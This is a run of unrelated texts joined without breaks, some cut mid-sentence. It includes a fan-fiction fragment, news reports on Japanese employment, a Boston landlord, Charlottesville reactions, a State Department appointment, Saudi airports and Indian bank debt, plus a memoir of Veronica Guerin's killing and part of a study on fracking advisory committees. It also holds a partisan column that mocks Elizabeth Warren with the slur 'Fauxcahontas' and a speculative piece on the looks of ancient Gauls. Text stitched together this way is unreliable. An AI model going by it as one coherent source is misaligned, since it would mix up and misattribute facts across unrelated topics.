4. It is a little known fact, but Jiraya didn't aim to be a ninja and he actually started the Academy rather late. He was a street urchin, thief and one of the dregs that one barely paid attention to. He was brash, mouthy and too smart for his own good. He was also too good a thief for his own good. Trying to pick pocket an ANBU captain was really stupid, though - even if he almost managed to get away with it. To this day, Jiraya is one of the two pupils having the dubious honor of being escorted to classes by ANBU, bound in ropes so that he didn't escape. The second one, many |
appeared on prime-time TV to issue fans an abject apology and promise more content together in the future.
News of SMAP’s attempt to break free reached the highest echelons of Japan. The day after SMAP’s apology aired, prime minister Shinzo Abe was asked what he thought of the outcome.
“Isn’t it a good thing for a group to stay together in response to their fans’ wishes and expectations?” Abe said on live TV.
Abe basically thanked SMAP for staying in a loveless marriage. But the incident brought up the peculiar dark side of Japan’s much-vaunted lifetime employment system. To paraphrase another entertainer recently in the news, Japanese salarymen are able to check into a job anytime they want. Few, however, really leave.
Japan Inc. tends to hire youngsters fresh out of college and pair them with a mentor to train them in the company’s own idiosyncratic ways. A new hire may spend years doing various jobs within the company before settling into his or her career.
There’s generally a reward for toeing the company line. Layoffs are almost unheard of in Japan. The system also breeds loyalty. More than 70% of Japanese employees who had been with their companies for at least five years will stay with the same company 10 years or more, according to a July 2015 report by Ryo Kambayashi. In the US, the figure is closer to 45%.
But as Johnny & Associates may have reminded its wayward charges, this investment can cut both ways. Employees unhappy with their present lot often find it extremely difficult to switch companies. Competitors do not want to take the time or the money to deprogram and then re-train a rival company’s castaway.
Indeed, the aversion can take on a moral tone. An ex-employee who “betrayed” one employer is unlikely to remain long at a new firm, the thinking goes. Job security for mid-career employees who jump ship is much lower than those who stay aboard, Kamabayashi’s report shows.
“This is a microcosm of Japan,” economist Ikeda Nobuo wrote on his blog of l’affair SMAP. “Companies adopt in bulk new graduates who don’t have specific skills, have them make photocopies and do so-called ‘mopping-up’ as on-the-job training. But such company-specific skills… are useless at another company.”
You can follow Ben on Twitter at @bjlefebvre.A Boston real estate giant whose condemned buildings and hundreds of tenant complaints were revealed in a Spotlight article has purchased more than 100 apartments in century-old complexes in Somerville.
Anwar Faisal, subject of a 2014 Boston Globe Spotlight Team investigation, purchased several apartment complexes along Summer Street near Spring Hill last month and said he plans to buy more in the city when something comes available.
He told the Journal he planned to keep rental prices stable for veterans, disabled, elderly or people on social security currently living in the buildings, but will raise the rents to market rate of its existing working professional tenants.
“People working in the financial district, they should be getting the market,” Faisal said. “Somerville has a good mayor, a hard worker. They have a good [Board of Aldermen] there and it is coming on the market next to the financial district and it’s a hot market.”
According to a 2014 article in the Spotlight Team’s “Shadow Campus” series, Faisal, a Brookline-resident, has become rich off purchasing and operating apartment complexes around Boston that often houses students. But those units were often rented out to students in poor condition, overcrowded, and often in violation of safety and building codes.
The Globe found Faisal is one of the most complained about landlords that cater to students in Boston, receiving hundreds of city code enforcement tickets for violations outside his buildings and 16 complaints by tenants filed with the state’s attorney general’s office since 2008. Current and former tenants also complained of bedbugs, rats, leaks next to electrical outlets and radiators that raised temperatures over 90 degrees.
Faisal purchased a pair of adjacent 116 year-old apartment complexes on Feb. 1, a four-story 155- 157 Summer St. complex for $19.25 million and a three-story building at 44 Central St. and 151-153, and 163 Summer St. next door at $11.75 million, according to the register of deeds and city assessor’s website.
Tenant concerns
Last week, notices were left at the entrances of the complexes informing tenants about the transfer of ownership and management and to to call Alpha Management Corp. with any issues. Alpha is the management group operated by Faisal that oversees his buildings and was also detailed in the Globe article.
Residents at the 157 Summer St. building told the Journal they were concerned about their new landlord but haven’t yet seen much of a change in maintenance service.
“He seems like a piece of work,” Cameron Lownie, whose lived a two-bedroom apartment in the building since August. ”This is a gorgeous building that had been maintained really well and it would be a shame to see it lose any of that.”
Lownie said he and his three roommates have been planning to move out of the building when their lease expires in June for a while, but the news of Faisal’s purchase would have prompted him to do so if they weren’t. Kelly Stedem, who has lived in a single bedroom unit in the building since July said having Faisal as a landlord is “disconcerting” but thinks Alpha did a good job clearing snow from in front of the sidewalk of the building during last week’s blizzard.
“At least under the old management company they were pretty quick and responsive to fix things so we haven’t seen much here because it hasn’t been long enough,” Stedem told the Journal. “It seems like they made a concerted effort to remove the snow during the blizzards pretty quickly. There was somebody out there shoveling snow during the storm.”
Rents up 5 to 7 percent
Faisal said he planned on raising rents in the buildings for working professionals to market rate prices. He said he is unsure how many units are currently being rented below market rate and said he would raise rents up to five to seven percent the first year, if they are further below the market. He said he won’t raise rents at all on an unknown number of veterans, elderly, and disabled tenants and tenants on social security living in the buildings and hopes to attract small families into some of the units.
But market rate is unaffordable for most Somerville residents. According to a December housing inventory report by Newton-based LDS Consulting Group, the average monthly rent in the city was $2,350 per month last September, an amount that is unaffordable for nearly 75 percent of the city’s renters.
The LDS study said the average rent of a two-bedroom apartment in Spring Hill was $2,350 per month last September. Lownie said they are renting their two-bed apartment for $2,000 per month. Stedem said she and her roommate are paying $1,750 per month for her single bedroom unit, which includes a living room, bathroom and a kitchen. Another 157 Summer St. tenant Nathan McElrath said he is paying a little less than $1,500 for his studio apartment.
“After reading about Alpha Management’s policy… I assumed the rent was going to go up,” Stedem said. “We were already thinking about moving out no matter what but certainly if the rent gets raised we won’t stay because its already pretty expensive I think for the area.”
History of poor maintenance
According to the Boston Globe article, Faisal owns more than 2,000 apartment in and around Boston, most of which are around college campuses.
The Globe detailed a number of issues at Faisal’s apartments in Boston during its investigation. In the article, one Northeastern student’s apartment had doors with gaping holes in them and were ripped from the frames, kitchen cabinets that were broken, stale beer puddles on wood floors, and fire detectors that dangled from the ceiling. The building was later condemned for having 26 units instead of the city-authorized 25 units, the article said.
Faisal said he will keep his new Somerville buildings the buildings up to code and well maintained. He also said articles characterizing him as a slumlord were untrue and claimed the media has “twisted” his words in the past. He said most building violations from the City of Boston in the past have been for having overflowing dumpsters and never any serious violations like faulty smoke detectors or leaky roofs.
“All landlords have violations with kids. What do you expect to do when there’s thousands of kids?” Faisal said. “We’ve had some health issues, minor issues. And as a landlord everybody has these issues. Big landlords have them especially when you have these kids.”
He said he has added extra dumpsters at his buildings and resolved the past issues at his buildings. He added, in the past rooms were often left uncleaned or in poor shape when new tenants arrived during the Sept. 1 move-in date because crews from Alpha Management were overwhelmed. He said he has since hired extra contractors to assist Alpha in cleaning and preparing the buildings during the small transitional period.
He said the leases for residents living his new buildings end at various points throughout the year and will have no problem getting them properly conditioned by the time new tenants move in.
Sean Gresh, a Northeastern University adjunct professor who lives at a two-bedroom apartment at 157 Summer St. said he is optimistic Alpha will properly maintain the building. He said he was impressed by the maintenance workers who recently replaced the locks on all of the doors throughout the building.
“I don’t know about problems he’s had in the past but I think he’s off to a good start,” Gresh told the Journal. “I’m rooting for the guy because he bought a first class building and I expect first class service.”
Follow Danielle McLean on Twitter @DMcLeanWL or email her at dmclean@wickedlocal.com.Suicide Cliff is a cliff above Marpi Point Field near the northern tip of Saipan, Northern Mariana Islands, which achieved historic significance late in World War II.
Also known as Laderan Banadero, it is a location where thousands of Japanese civilians and soldiers committed suicide by jumping to their deaths in 1944 in order to avoid capture by the United States, as Japanese propaganda emphasized brutal treatment of Japanese such as American mutilation of Japanese war dead. Many Japanese feared the "American devils raping and devouring Japanese women and children."[2] The precise number of suicides there is not known. One eyewitness said he saw “hundreds of bodies” below the cliff,[3] while elsewhere, numbers in the thousands have been cited.[4][5] A contemporary correspondent, praising their actions as "the finest act of the Shōwa period", described them as "the pride of Japanese women."[6]
By 1976, a park and peace memorial was in place and the location had become a pilgrimage destination, particularly for visitors from Japan.[7] In that year, 9-acre (3.6 ha) of the site were listed on the US National Register of Historic Places.[1]
The cliff is, along with the airfield and Banzai Cliff, a coastal cliff where suicides also took place, part of the National Historic Landmark District Landing Beaches; Aslito/Isley Field; & Marpi Point, Saipan Island, designated in 1985.[8]
See also [ edit ]WASHINGTON — The Republican Jewish Coalition implored US President Donald Trump on Wednesday to “provide greater moral clarity” against bigotry, racism and anti-Semitism following his comments blaming “both sides” for deadly violence at a far-right rally in Virginia.
The group, long an engine of support for the president that has defended him on issues pertaining to Israel and the Jews, was responding to a press conference Trump gave on Tuesday in which he said “some very fine people” were marching with the white supremacists at the Charlottesville event.
“The Nazis, the KKK, and white supremacists are dangerous anti-Semites,” RJC Chairman Norm Coleman and Executive Director Matt Brooks said in a statement. “There are no good Nazis and no good members of the Klan.”
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“We join with our political and religious brethren in calling upon President Trump to provide greater moral clarity in rejecting racism, bigotry, and anti-Semitism,” the statement continued.
On Saturday, after a 20-year-old man described as an admirer of Adolf Hitler and Nazi Germany, rammed a car into a crowd of counter-protesters, killing one woman and injuring at least 19 others. Trump intially said “many sides” were at fault, while pointedly declining to mention the racist hate groups that had organized the rally.
Two days later he eventually did so, calling out the Ku Klux Klan and neo-Nazis who played an outsized role in the demonstration protesting the city’s plan to remove a statue of Confederate general Robert E. Lee.
But come Tuesday he doubled down on his original assessment and apportioned equal blame to the white supremacists and the counter-protesters.
“You had a group on one side that was bad and you had a group on the other side that was also very violent and nobody wants to say that but I’ll say it right now,” he said.
Shortly after Trump made those remarks — during a press conference in the lobby of Trump Tower in New York — former grand wizard of the KKK David Duke thanked the president in a tweet for “his honesty and courage to tell the truth about #Charlottesville.”
Trump’s Tuesday comments were swiftly repudiated by numerous Republican leaders, including former presidents George H.W. Bush and George W. Bush, former Massachusetts govenor Mitt Romney, Senator John McCain and Senate Majority Leader Mitch McConnell, among others.
“No, not the same,” Romney tweeted Tuesday night. “One side is racist, bigoted, Nazi. The other opposes racism and bigotry. Morally different universes.”
One Jewish Republican, however, defended Trump’s response to the Charlottesville episodes, while simultaneously stressing there was no equivalence between the white supremacists and their opponents.
“These two sides are not equal,” Rep. Lee Zeldin of New York told The Times of Israel in a statement: “I would add though that it is not right to suggest that President Trump is wrong for acknowledging the fact that criminals on both sides showed up for the purpose of being violent. That particular observation is completely true.”
Zeldin, for his part, nequivocally condemned the hate groups that orchestrated and participated in Saturday’s rally.
“Anyone associating themselves with the KKK and Nazism is associating themselves with hatred, bigotry, racism, intolerance and a tremendously inhumane past filled with horrible evil,” he said, adding that their “violent acts inspired by deep hatred are disgusting, un-American, and unwelcome in our great nation.
In their Wednesday statement, the leaders of the Republican Jewish Coalition took a similar tone and cited the history of the party as a lodestar for their denunciation of what happened in Charlottesville.
“As representatives of the party whose founder, Abraham Lincoln, broke the shackles of slavery, and of an organization with many members who experienced firsthand the inhumanity of the Nazi Holocaust, we state unequivocally our rejection of these hatemongers,” they said.baton rouge king cake guide cover
Play with our interactive video map to find locally-made king cakes in Baton Rouge.
(Image by Chelsea Brasted, NOLA.com | The Times-Picayune)
Mardi Gras comes early this year, but we still have a few weeks left to munch on king cakes. Baton Rouge has its fair share of locally-owned and operated bakeries, which offer up their own takes on the traditional cakes, and to help you indulge in those carnival cravings, we've created a handy, interactive map to the city.
This map includes most of the local places to snag a king cake for your office party, Mardi Gras parade viewing throwdown or for a sweet treat to just take home. Think of it as your treasure map to tasty carnival plunder.
We've done our best to include all the notable local shops that make their own king cakes, the map is loaded up with all the details you need: Contact information, details about available flavors, multiple locations and whether or not the shop delivers. There are also videos we created at each of the shops, featuring the owner, manager or baker giving you some inside details on what makes their's so great.
To use the map, click around the city to find the bakery nearest you, or perhaps to find one that sounds worth driving across town.BOSTON — Fauxcahontas put up a new TV ad this week. In it, Liz Warren shares the pain her supposed Indian heritage has caused — why, her parents had to elope because her dad’s family didn’t want their son marrying a girl with Indian blood.
Huh. Twila Barnes, an indefatigable Cherokee genealogist, dug up the 1932 wedding notice in the Oklahoma papers. Warren’s folks got hitched in a large Protestant church 20 miles away, then drove right back to their hometown of Wetumka.
A wedding party was held that evening; Mrs. Warren’s mom’s best friend was a witness. Some elopement.
But Warren, the Democrat aiming to take back Ted Kennedy’s old Senate seat from Scott Brown, has to keep trying to stand up her claim to a few drops of Native American blood — because she’s not going to convince anyone that she didn’t “check the box” to propel herself to success and wealth.
Brown hammered her on it from the start of their first televised debate the other week. Warren’s now a $350,000-a-year tenured professor at Harvard Law, because “she checked the box... when she applied to Penn and Harvard, claiming she was a Native American. ”
In other words, this isn’t just the most expensive Senate fight in the nation; it’s now probably the nastiest as well.
Both sides are raising millions — Brown mostly in-state, Warren mostly out-of-state. (Which is weird: Massachusetts has plenty of wealthy liberals.) The polls see-saw — she was ahead in three recent samplings, he was up six in the most recent one.
But the backstory never changes. Warren, an Oklahoma native, was going nowhere in her career until she began “checking the box,” claiming to be an Indian with absolutely no evidence. Once she began listing herself in a minority law-school directory as a woman of color, she catapulted first to the University of Pennsylvania law school, and then to Harvard.
And as soon as she had tenure, Warren abruptly stopped listing herself as a Native-American. Now she claims she’s “Okie to her toes.”
She always points out she never marked the box when applying to college (the University of Houston) or law school (Rutgers). But that proves the point: She never got close to a top-tier school ’til she started exploiting affirmative action.
Her main counterattack is to point out that Brown is a Republican. She’s for Barack Obama and Scott Brown is, have you heard, a Republican.
Given Obama’s likely 60-40 margin in this bluest of states, to survive Brown needs to get at least one of every four or five Barack voters to split their tickets. It’s a tough assignment, but he’s close.
It helps that he has the real hard-scrabble background — in the debate, he mentioned defending his mother when she was attacked by “one of my stepfathers.”
Another problem for Warren: She’s a Harvard prof, as is her tweedy husband, who looks like he was sent over from Central Casting. And, as Brown noted in the debate, “Prof. Warren and her husband make almost three-quarters of a million dollars, Prof. Warren in her instance teaches one class to make over $300,000 in addition to her no-interest ($50,000) loan... No wonder [college] costs are so high.”
Warren just got the important endorsement of Boston Mayor Tom Menino, who’s been known to run up 90,000-vote margins in the city for Democrats he likes (which in Warren’s case is still an open question).
But more dirt keeps coming up from Warren’s background. At the debate, Brown sprung a $212,000 fee she got for helping Travelers Insurance in a class-action lawsuit by asbestos workers, who wound up with just $5,555 each. Then he connected her to a $10,000 fee from a bankrupt steel company that Kennedy once denounced on the Senate floor.
And news broke that Warren doesn’t even have a license to practice law in Massachusetts. Now she’s busy explaining why her lucrative legal work wasn’t, well, illegal.
Howie Carr is a Boston Herald columnist.We've covered the stylistic appearances of the Celtic Gauls before, so this answer is going to be more about the physical face the Arvernian people presented to the ancient world - and to attempt to describe the average inhabitant of central Gaul. For starters, we know the Romans and Arverni shared the same common ancestors, so many of the faces we see in Republican-era Roman busts will reflect in some way what an Arvernian looked like. Of course, by the 3rd-century BC the 'Celtic' Romans were mixing with Etrurians (who originated from Turkey) and pre-Celtic Italian populations, so tendencies towards darker hair and skin would have been changing the 'look' of the Republican Roman from that of Romulus and Remus. However this was most likely not happening in Celtic Gaul, where the population probably remained largely homogeneous - with some exceptions on the Mediterranean peripheries where Punic, Greek, Etrurian and later Roman colonies existed or in the borderlands of the Belgic Gauls whose general appearance may actually survive in the modern Flemish and Dutch populations.So having said all that, here's my best guess of an Arvernian. With a higher protein diet than Romans, Arvernian men and women were generally taller - many would have stood at least 6'0", with average heights of men and women being somewhere around or above 5'6" whereas the Roman average was closer to 5'4" and Roman men rarely reached 6'0". The Arverni were not heavily built like the Belgics and Germans, instead they tended towards a lanky Scandinavian-like body shape - perhaps with a more rounded face, high cheekbones and eyes closer set as a result.Their skin has been described as milky white so their complexion would be generally described as fair, although blonde hair and blue eyes may not have been as common as you might think. Even today the population of central France tends towards brown to black hair, so I think it's a reasonable assumption the Arverni did too, with brown eyes much more common, with red hair and freckled skin appearing occasionally (the latter appears far more common in post-Viking cultures than the pre-Viking populations of western Europe). What may have made an Arvernian distinctive (or at least some of them) was their nose. The coins of Vercingetorix exhibit a long straight nose diving downwards from the forehead, a family trait perhaps, but a shape that can still be seen in modern post-Celtic cultures in Britain and Ireland.Okay, so is it possible to still see the 'Arvernian' look in popular culture? Off the top of my head I can think of two actors who offer a modern day resemblance to the people of Celtic Gaul. Liam Neeson and Tamsin Greig both share many of the traits that would have been common to the Arverni - in fact Tamsin was born in a part of England where Arverni refugees from the 'Great Rebellion' most likely settled - this is of course most likely coincidence, but an interesting one nonetheless. Lets hope next time a movie is made about Vercingetorix they both get starring roles.Story highlights Authorities plan for anticipated tensions
"Freedom of expression is a constitutional right," the Sheriff's Office says
However, raising your hand is not, authorities warn
Florida authorities have a message as the verdict in the George Zimmerman trial looms: raise your voice, not your hands.
Anticipating that the outcome of the very public, and racially-tinged, case is likely to disappoint one swath of the population or another, law enforcement agencies have set up a response plan.
Part of it is a public service announcement that the Broward County Sheriff's Office released this week.
In it, a black teenage boy and a Hispanic girl urge viewers to "stand together as one. No cuffs, no guns."
Zimmerman is a white Hispanic who is on trial for last year's shooting death of Trayvon Martin, a black teen, in Sanford city. Sanford is in Seminole County.
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He is charged with second-degree murder, and says he acted in self-defense. Prosecutors are arguing he profiled the teen.
Millions of Americans have already made up their minds about what should happen. And no matter how the verdict falls, authorities worry passions will be inflamed.
That's where the video comes in -- a plea not to resort to violence.
"Freedom of expression is a constitutional right," the sheriff's office said. "While raising your voice is encouraged, using your hands is not."
In the video, the boy says, "Let's give violence a rest, because we can easily end up arrested."
The girl adds, "Let it roll off your shoulders. It's water off your back, don't lack composure. Because in one instant it could be over."
The case has triggered a nationwide debate about Florida's "Stand Your Ground" law, race and racial profiling.
"People care about gun rights. People care about race. People care about children. People care about the right to defend yourself," said CNN legal analyst Sunny Hostin. "And this case has all of them wrapped up together, and that's rare."
Zimmerman's lawyer, Mark O'Mara, told CNN's "Piers Morgan Live" that regardless of the outcome, his client will forever be looking over his shoulder:
"First of all, my client will never be safe, because there are a percentage of the population who are angry, they're upset, and they may well take it out on him," he said. "So, he'll never be safe."White House Names Trump Loyalist to Iran Policy Job at State Department
The Trump administration plans to install a former U.S. military intelligence officer at the State Department to a key position managing policy on Iran and Iraq, a move that will replace two civil servants with a political appointee.
Andrew L. Peek, a former captain in the U.S. Army Reserve and member of the president’s State Department transition team, will become the new deputy assistant secretary of state covering Iran and Iraq, according to three State Department officials familiar with the matter. The Iran and Iraq portfolios were previously handled separately by two diplomats.
Peek, a former U.S. Army intelligence officer, has no prior diplomatic experience and has not earned a reputation as an established expert on Iran or Iraq but has years of experience in military intelligence and in the Senate, where he served Republican senators on foreign-policy issues.
He will replace both Chris Backemeyer, who currently serves as deputy assistant secretary for Iran and Joseph Pennington, a career foreign service officer, who serves as deputy assistant secretary for Iraq. Backemeyer previously served as deputy coordinator for sanctions policy at the State Department and National Security Council director on Iran from 2012 to 2014 under President Barack Obama.
“I have known Andrew for years,” said Elliot Abrams, a prominent Republican foreign policy hawk and former senior official in the George W. Bush administration. “I view him as one of the group of veterans of Iraq and Afghanistan who bring to government jobs both invaluable real-world experience, and academic and intellectual credentials. He’s an amazing, excellent choice for this position.”
The State Department is expected to make the announcement on Monday, according to two sources familiar with the deliberations.
In his new role, Peek could wield outsized influence on Middle East diplomacy, according to one State Department official, in large part because of how many State Department posts that require presidential nomination sit empty nearly a year into the Trump administration.
Since Trump entered office, White House officials have privately expressed frustration with the career foreign service officers handling Iran policy in the State Department. In deliberations over the Iran nuclear deal, some officials on the National Security Council have clashed with their counterparts, arguing for a more aggressive stance toward Tehran and for laying out options to abandon the nuclear accord. One civil servant, Sahar Nowrouzzadeh, was pushed out of a top advisory role on Iran policy at the State Department after conservative media attacked her for having a played a role on former President Barack Obama’s Iran nuclear deal.
The impending appointment of Peek comes amid growing tension between Iran and the United States. Trump informed Congress in October he could no longer certify under U.S. law that the nuclear agreement between Iran and world powers was in the national interest. The decision has fed speculation that the administration aims to derail the agreement, while European allies have warned the White House that the collapse of the accord could increase the likelihood of Iran obtaining nuclear weapons.
The deal between Iran and the United States, United Kingdom, France, Germany, Russia, and China eased sanctions against Tehran in exchange for strict limits on the country’s nuclear program.
Deputy assistant secretary roles are filled by a combination of career and political appointees, but notably don’t require a presidential appointment or Senate confirmation, unlike the higher assistant secretary of state rank. The White House’s refusal to nominate many key State Department roles — some 50 percent of top State Department posts don’t yet have nominees — has become a source of tension between Secretary of State Rex Tillerson’s team and the White House, two State Department officials say.
A State Department spokesperson for the Near Eastern affairs bureau declined to comment on Peek’s potential nomination.
According to his LinkedIn profile, Peek worked on Trump’s presidential transition team for the State Department from October 2016 to January 2017 and was a columnist for the New York Daily News and the New York Observer, a news outlet then owned by Jared Kushner, Trump’s son-in-law, who now serves as a top White House aide. He is currently completing his doctorate at the Johns Hopkins School of Advanced International Studies and received a masters degree from Harvard University.
Peek served as a military intelligence officer in the U.S. Army Reserve from 2008 to 2016, which included a one-year stint from 2011 to 2012 as a strategic advisor to Gen. John Allen, then commander of the U.S.-led mission in Afghanistan. He also served as a legislative assistant for Republican senators from 2007 to 2011, including former Sen. Gordon Smith (R-Ore.), who played an outsized role in crafting U.S. sanctions against Iran and former Sen. Mike Johanns (R-Neb.).
Peek’s frequent columns in a variety of online news outlets leading up to the presidential elections last year both criticized and praised Trump’s foreign policy. “He’s knowledgeable about the world, obviously bright, sophisticated beneath the spray-on populism, and experienced in high-stakes negotiations with foreign potentates,” Peek wrote of Trump in one Aug. 20, 2015 column for the Fiscal Times. But he also expressed doubts about how well Trump’s inclinations as a deal maker would translate to the Oval Office.
Update, Dec. 12, 2017: This article was updated to include additional details about Mr. Peek’s background and his new role.
Correction, Dec. 11, 2017: The Fiscal Times column quoted in this report was published on Aug. 20, 2015. An earlier version of this article used an incorrect date.Saudi Arabia will begin privatizing its airports and related services within the first quarter of 2016 as the government looks to diversify its income sources amid declining oil prices, the kingdom’s General Authority for Civil Aviation (GACA) said in a statement.
King Khalid International Airport will be privatized as Riyadh Airports Company in the first three months of the year. The air navigation sector will be privatized under the name Air Navigation Services Company in the second quarter, followed by the information technology sector which will become the Saudi Company for Aviation Information Systems in Q3-2016.
“The privatization program is in line with the kingdom’s plan to boost productivity and efficiency at its airport systems, as well as to ease the government’s financial burdens, Sulaiman al-Hamdan, chairman of GACA said in a statement.
The kingdom lately has been investing in its airlines infrastructure by buying more planes, and privatizing some of its airport units. Both Saudi Airlines Catering Co and Saudi Ground Services Co have been listed on Tadawul, the kingdom’s bourse, with the latter just enlisting earlier this year.
GACA added in the statement that more units at its domestic and international airports will be privatized according to a five-year schedule set until 2020.Mumbai: Reserve Bank of India (RBI) deputy governor Viral Acharya on Tuesday floated two proposals to restructure stressed debt in troubled sectors.
In his first public speech after taking charge on 23 January, the NYU-Stern professor said in cases where there is economic value in the short run, banks could consider a private asset management company (PAMC) structure, with a moderate level of debt forgiveness.
Under this plan, banks may be asked to resolve 50 of the most stressed cases by 31 December, with turnaround specialists and private investors called upon to assess the cases. The latter will submit a resolution plan, marking out sustainable debt and debt-for-equity conversions for banks to facilitate the issuance of new equity, and possibly some new debt, to fund investment needs.
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“We may have to consider that the sustainable portion of bank debt does not have to be greater than some minimum amount, so as to allow for a large haircut if necessary for economic recovery of the asset," Acharya said.
Acharya’s comments come against the backdrop of banks’ inability to shake off bad debts totalling at least Rs6.5 trillion, despite schemes such as sustainable structuring of stressed assets (S4A) and strategic debt restructuring (SDR).
Under S4A, banks can classify only a maximum of 50% of a stressed firm’s debt as unsustainable. Banks have been lobbying for a lower threshold.
Under Acharya’s PAMC plan, the case must be rated by at least two credit rating agencies to assess the financial health, economic health and management quality (promoter or the new team). The rating would be for the asset and not just for bank debt in case additional debt is issued under the plan, Acharya said.
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Feasible plans would be those where there is a real chance of these assets turning around and the rating improving. Banks will choose the most acceptable feasible plan, with a two-thirds majority, and then implement it. Promoters will have no say in the matter.
“At expiration of the timeline, each exposure that is not resolved will be subject to a steep sector-based haircut for the bank consortium, possibly close to 100%. The promoter will automatically have to leave. These assets would be put into our new Insolvency and Bankruptcy Code regime," Acharya said.
In cases of assets where there is little to no economic value in the medium or short term, Acharya suggested a national asset management company.
Such an entity would raise debt for its financing needs; possibly raise some more to pay off banks at a haircut, (likely steep but softened by payment in the form of security receipts against the asset’s cash flows); keep a minority equity stake for the government; and, bring in asset managers such as ARCs and private equity to manage and turn around the assets, individually or as a portfolio.
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While discussing the possibility of implementing these resolution plans, Acharya clarified that these would not be so-called bad banks.
“Resolution agencies set up as banks that originate or guarantee lending have ended up being future reckless lenders, notably in the case of Germany which has often aggregated stressed assets of its Landesbanken into bad banks," he said.Every Irish journalist remembers where they were the day that Veronica Guerin was shot dead in Dublin 22 years ago today.
On June 26, 1996, I was at the "stone" (look it up young 'uns) at the Irish Independent watching the printers finish up the late edition of the Evening Herald.
The front page was finished and sent down to the camera when then-editor Paul Drury hung up from a phone conversation and shouted: “hold the front page.”
Contrary to popular belief, you rarely hear “hold the front page” in a newsroom, and we knew whatever it was, it was going to be huge.
“Veronica’s been shot,” he said, referring to the crime reporter at our sister newspaper, the Sunday Independent.
“Is she all right?” I remember asking as his words began to settle.
“No,” he said, “the guards think she’s dead.”
Dead? Veronica? She couldn’t be.
It was a beautiful sunny June day, we were trying to get finished to go watch the European soccer finals, and Veronica couldn’t be dead. I’d seen her only the previous week with her son Cathal outside the paper, running, as ever, late for something.
As the Evening Herald redid its front page, the Gardaí (Irish police) rang and asked the paper to hold off reporting the story until they could contact her husband Graham.
It was one of the longest hours ever in Independent House. Phones went unanswered and copy went unfiled as stunned journalists sat there and waited for the all-clear from the police, so we could report that one of our colleagues had been shot dead.
It was inconceivable that a journalist had been killed in the Republic. No one in Ireland seriously believed that any criminal would assassinate a journalist.
I had known Veronica since 1994 when I was working as a stand-in copy editor on the Sunday Independent. She had written a complicated story about corruption, and the libel lawyers insisted I contact her as they wanted to change several paragraphs. When I reached her at home, she was surprisingly friendly about making the corrections and we hammered out a different version.
I say “surprisingly” because some of the headline writers for the Sunday Independent would (and did!) chew me up into pieces for having the temerity to suggest any changes.
Anyway, by the time we had finished reworking the piece, the lawyers said it was still too libelous |
as psychosocial stresses, highway safety, and drug and alcohol abuse. For the purposes of this study, we have extended this definition to include medical and health professionals who could be presumed to have some health background related to environmental health, however minimal (e.g., physicians, nurses, pharmacists, psychologists). Public response was assessed by review of presentations to the 13 June 2011 federal SEAB Natural Gas Subcommittee meeting held in Washington, Pennsylvania, the one public meeting of the subcommittee in the Marcellus Shale area. The meeting was widely advertised and well attended both by supporters and by opponents of Marcellus Shale drilling, many of whom were from surrounding states. Because of the large number of speakers, each was limited to two minutes. Two of us (B.P. and J.K.) independently reviewed the video of these presentations (SEAB Natural Gas Subcommittee 2011) to develop a list of codes summarizing the main points covered by each speaker and categorize speakers as either supporters (51) or opponents (59) of shale gas drilling. The responses of the opponents were further categorized into a variety of subheadings. Differences between the two raters were reconciled before analysis.
Results Review of the executive orders. U.S. federal government. The federal review of fracking issues was requested in President Obama’s “Blueprint for a Secure Energy Future” (Obama 2011) that states: To provide recommendations from a range of independent experts, the Secretary of Energy, in consultation with the U.S. EPA Administrator and Secretary of Interior, should task the Secretary of Energy Advisory Board (SEAB) with establishing a subcommittee to examine fracking issues. The subcommittee will... include leaders from industry, the environmental community, and states. The subcommittee will work to identify... any immediate steps that can be taken to improve the safety and environmental performance of fracking and to develop... consensus recommended advice to the agencies on practices for shale extraction to ensure the protection of public health and the environment. Note that this executive order gives leadership to the DOE in consultation with the Department of Interior and U.S. Environmental Protection Agency (EPA). Although this statement culminates with the charge to ensure the protection of public health and the environment, the U.S. Department of Health and Human Services (DHHS), despite its environmental health components [National Institute of Environmental Health Sciences (NIEHS), Centers for Disease Control and Prevention/Agency for Toxic Substances and Disease Registry], is not included. Pennsylvania. In Pennsylvania, the newly elected Governor, Tom Corbett, had stressed the importance of the Marcellus Shale to economic development during his campaign. Early in his administration, in March 2011, he appointed a 31-member Governor’s Marcellus Shale Advisory Commission. The executive order establishing the commission states: The Commonwealth takes seriously its responsibility to ensure the development of gas in a manner that protects the environment and safeguards the health and welfare of its citizens. (Corbett 2011) Four work groups were designated by the commission, including one on public health, safety, and environmental protection. They were charged with the following task: Consideration of additional measures necessary to ensure the protection of the Commonwealth’s environment and natural resources and the enhancement of public health and safety. (Governor’s Marcellus Shale Advisory Commission 2011b) Maryland. In July 2011, Governor Martin O’Malley of Maryland appointed a 14-member commission. The Governor’s Executive Order specifically states: Purpose. The Marcellus Shale Safe Drilling Initiative will assist State policymakers and regulators in determining whether and how gas production from the Marcellus Shale in Maryland can be accomplished without unacceptable risks of adverse impacts to public health, safety, the environment and natural resources. (O’Malley and McDonough 2011) In summary, public health and the environment are featured in the rationale for the formation of all three committees formed to give advice on Marcellus Shale drilling. Composition of the advisory committees. The total number of appointments to these three advisory committees was 52, consisting of 51 individuals. One individual, Jeffrey Kupfer, an energy company executive who was the former DOE Deputy Secretary, was chosen as a member of both state advisory committees. The SEAB Natural Gas Subcommittee consisted of seven members (DOE 2011): three in academia, three in industry, and one in an environmental group (Fred Krupp, President of the Environmental Defense Fund). The chair of the SEAB subcommittee, John Deutsch, is the former Chairman of the Department of Chemistry, Dean of Science, and Provost at Massachusetts Institute of Technology. Other members are Stephen Holditch, head of the Department of Petroleum Engineering at Texas A&M University, and D. Mark Zoback, professor of geophysics at Stanford University. Several of the subcommittee members have experience in more than one sector. For example, Deutsch is a former Deputy Secretary of Defense and the former head of the Central Intelligence Agency and is on the board of various energy-related companies. Kathleen McGinty of Weston Corporation was previously head of the White House Council on Environmental Quality under President Bill Clinton and was Pennsylvania Secretary of the Environment under its previous governor. The Pennsylvania Governor’s Marcellus Shale Advisory Commission has 31 members: 10 from government, 1 from academia, 4 from environmental groups, 5 from civil society groups, and 11 from industry (Governor’s Marcellus Shale Advisory Commission 2011a). It was chaired by the lieutenant governor. The one academic, Terry Engelder, is a professor of geoscience at the Pennsylvania State University whose research on the extent and availability of natural gas in the Marcellus Shale has been recognized as central to its current rapid development. The Maryland Marcellus Shale Safe Drilling Initiative Advisory Commission has 14 members: 6 from government, 1 academic who chairs the commission (David Vanko, a geologist and current Dean of the College of Science and Mathematics at Towson University), 3 from environmental groups, 2 from civil society groups, and 2 from industry (Maryland Department of the Environment 2011). Environmental public health or other health expertise. Our review of the background of all 51 members of the three advisory committees provided no evidence that any member had expertise in the human health aspects of environmental health or experience in health or health care. Based on the 